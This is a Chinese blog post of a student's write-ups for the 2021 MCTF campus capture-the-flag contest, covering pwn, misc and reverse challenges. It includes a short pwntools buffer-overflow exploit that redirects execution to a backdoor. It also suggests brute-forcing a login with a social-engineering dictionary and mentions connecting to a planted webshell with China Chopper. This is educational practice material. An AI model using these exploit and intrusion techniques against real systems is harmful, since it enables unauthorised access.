[MCTF] 2021校赛题解

前言

这次比赛有点感觉了,但在第三道pwn上卡了一个小时没出来…
hhh早知道去做逆向了,师兄送的分都没拿
20这届师弟还是nice的,就是起步晚了点,师弟们加油!
本题解主要提供思路,具体步骤可能不详细,见谅
在这里插入图片描述


web

web真好玩

你们的19web狗亲笔.


pwn

checkin

pwn里的签到题在这里插入图片描述

gets函数不限制传入字符
所以可以把v4填满后继续溢出过rbp到返回地址

在这里插入图片描述

也就是覆盖r的位置,劫持到后门函数里在这里插入图片描述
偏移量0x20+0x8

exp如下

from pwn import *
#context(os='linux', arch='i386', log_level='debug')
#dog = remote('47.100.53.148',10101)
dog = process("./checkin")
system = 0x004005b6
#binshaddr = 0x4005b6
#dog.recv()
#gdb.attach(dog)
a = 0x4005b6
payload = ('a' * (0x20+8)).encode() +p64(system) #+ 'aaaa'.encode() + p32(binshaddr)
#print(payload)
dog.sendline(payload)

dog.interactive()

通了

在这里插入图片描述


hack_note_sh

uaf漏洞
wiki上的原题,之前刚好刷到,质量不错

https://ctf-wiki.org/pwn/linux/glibc-heap/use_after_free/


hash_note_nosh

这题没有后门函数,我想用one_gadget一把梭来着,失败了。
后来发现攻防世界原题…
链接点我
所以这应该不算是pwn,应该算杂项。

在这里插入图片描述


misc

没有任何坑的简单题,看到大家都做出来了就不写了
至于社工题,这题我没看,看了眼后提供思路:
一种方法是猜密码
如果我来做应该会生成个社工字典

在这里插入图片描述

作为pwn狗用pwntools库爆破(当然web狗用requests库也可以)
总之形成交互就可以一把梭。

在这里插入图片描述


Reverse

srand

之前攻防世界上做pwn的时候遇到过srand
srand里面是固定的值的话每次生成的随机数也会是固定的
看了一眼直接把脚本写出来了…
这个是在windows下跑
在这里插入图片描述

然后搞半天找不到ubuntu16的环境
我的wsl也是18.04,淦
用libc2.23链接跑出来也不对…
总的来说,我是这个
在这里插入图片描述


burst is a good idea

在这里插入图片描述
纯百度题,当然也可以用python,基本大家都做出来了


what is this

用到了ida里的patch,校赛的时候还不会,之后是zhouyetao师兄教我的。
在这里插入图片描述
用patch改一下程序流程
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

好的,我虽然会patch了,但还是不知道这题怎么做
vegetable!


Diffcult

这次应该挑战下这三道diffcult题目的,感觉都能做…明年没机会了


re(enigma)

第一步查壳,拖进upx里脱壳
在这里插入图片描述

然后就可以拖ida里找程序入口
在这里插入图片描述
整理函数调用关系,并将变量重命名,分析如下

int cout_flag()
{
  int v2; 
  int i;
  int v4; // [rsp+20h] [rbp-20h]
  int v5; // [rsp+28h] [rbp-18h]
  int v6; // [rsp+30h] [rbp-10h]
  v4 = 'mzdfmzgb';
  v5 = 'zdfmzgbc';
  v6 = 'gggmhzf';
  for ( i = 0; i <= 22 && (i + a1) == *(&v4 + i); ++i );
  if ( i == 23 )
    printf("Congratulations,you get the true flag!");
  else
    printf("I am sorry to tell you that you are wrong.");
  return result;
}
int en1(char a1,int a2)
{
  for ( i = 0; i <= 26; ++i )
    v6[i] = *(i + a1);
  v5 = en2(v6, a2);
  for ( j = 0; j <= 25; ++j )
    v6[j] = v5[j];
  result = v5;
}
int en2(char *a1,int a2)
{
  v3 = a1;
  for ( i = 0; i < a2; ++i )
  {
    for ( j = 1; j <= 25; ++j )
      c[j - 1] = v3[j];
  }
  return c;
}
int en3(char a1,int a2)
{
  v3 = 0;
  for ( i = 0; i <= 26; ++i )
    v6[i] = *(i + a2);
  for ( j = 0; j <= 25; ++j )
  {
    if ( v6[j] == a1 )
    {
      v3 = j + 1;
      break;
    }
  }
}
int encrypt(a1)
{
  a_z="abcdefghijklmnopqrstuvwxyz"
  a_z2="abcdefghijklmnopqrstuvwxyz"
  x = a1;
  for ( i = 0; i <= 22; ++i )
    a[i] = *(x + i);
  y = en1(a_z, 4);
  for ( j = 0; j <= 25; ++j )
    a_z[j] = *(y + j);
  y = en1(a_z2, 3);
  for ( k = 0; k <= 25; ++k )
    v1 = *(y + k);
    a_z2[k] = v1
  for ( l = 0; l <= 22; ++l )
  {
    flag1[l] = a_z2[en3(a[l], a_z,v1)];
    y = en1(a_z, 1u);
    for ( m = 0; m <= 25; ++m )
      a_z[m] = *(y + m);
    y = en1(a_z2, 1u);
    for ( n = 0; n <= 25; ++n )
      a_z2[n] = *(y + n);
  }
  return cout_flag(flag1);
}
int main()
{
	signed int i; // [rsp+Ch] [rbp-4h]
  input = your_input();
  for ( i = 0; i <= 22; ++i )
    input1[i] = *(input + i);
  return encrypt(input1);
}

从最后输出flag的函数看起
在这里插入图片描述

  • 当i为23的时候就成功输出flag。

  • 所以需要前面的for循环不退出,也就是让 *(i+a1) 和 *(v4+i)的值相等。

  • 我们知道,*是取地址的意思,所以实际上就是比较 a1数组和v4数组。

  • 在内存空间中,v4、v5、v6的地址是连在一起的,如图 在这里插入图片描述

  • 所以a1要等于"mzdffmzgbzdfmzgbcgggmhzf"即可
    a1是上一个函数调用该函数时传入的参数,也就是上面的flag1在这里插入图片描述
    在这里插入图片描述

  • 可以看到,每一位flag1经过en3变换,需要用到a_z2和a_z

  • a_z2和a_z每轮都在用en1变换在这里插入图片描述

  • 而en1中又调用了en2
    在这里插入图片描述

  • 调用了en3,分析en3
    在这里插入图片描述
    这里的传参类型有点小问题,a2应该是a_z的地址
    返回值也漏了,返回值应该是v3
    在这里插入图片描述

  • v1并没有用到,不用去管

  • 那en3的返回值就是a[l]值在a_z中的出现位置

  • en3的返回值又作为a_z2的下标,就是我们的flag1

  • 然后我们就可以逆出a[l]

  • a[l]就是flag,因为根据ida里函数调用关系,a[l]正是我们的输入

  • 大致思路就清楚了。。然后en1变换和en2等就是enigma密码机

  • 之后就可以写脚本,懒得写,可以拿草稿纸推一遍
    在这里插入图片描述


pwn

看给的hint是ret2dl-runtime-resolve,属于高阶rop里的内容,还没学,之后会再开一篇博客记录学习过程

不鸽的话会补上链接在这里

日站

大致思路就是登录管理员账号,getshell后用菜刀连,flag在数据库里。

具体可以问19web🐶

就到这里吧,安了安了。
在这里插入图片描述

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值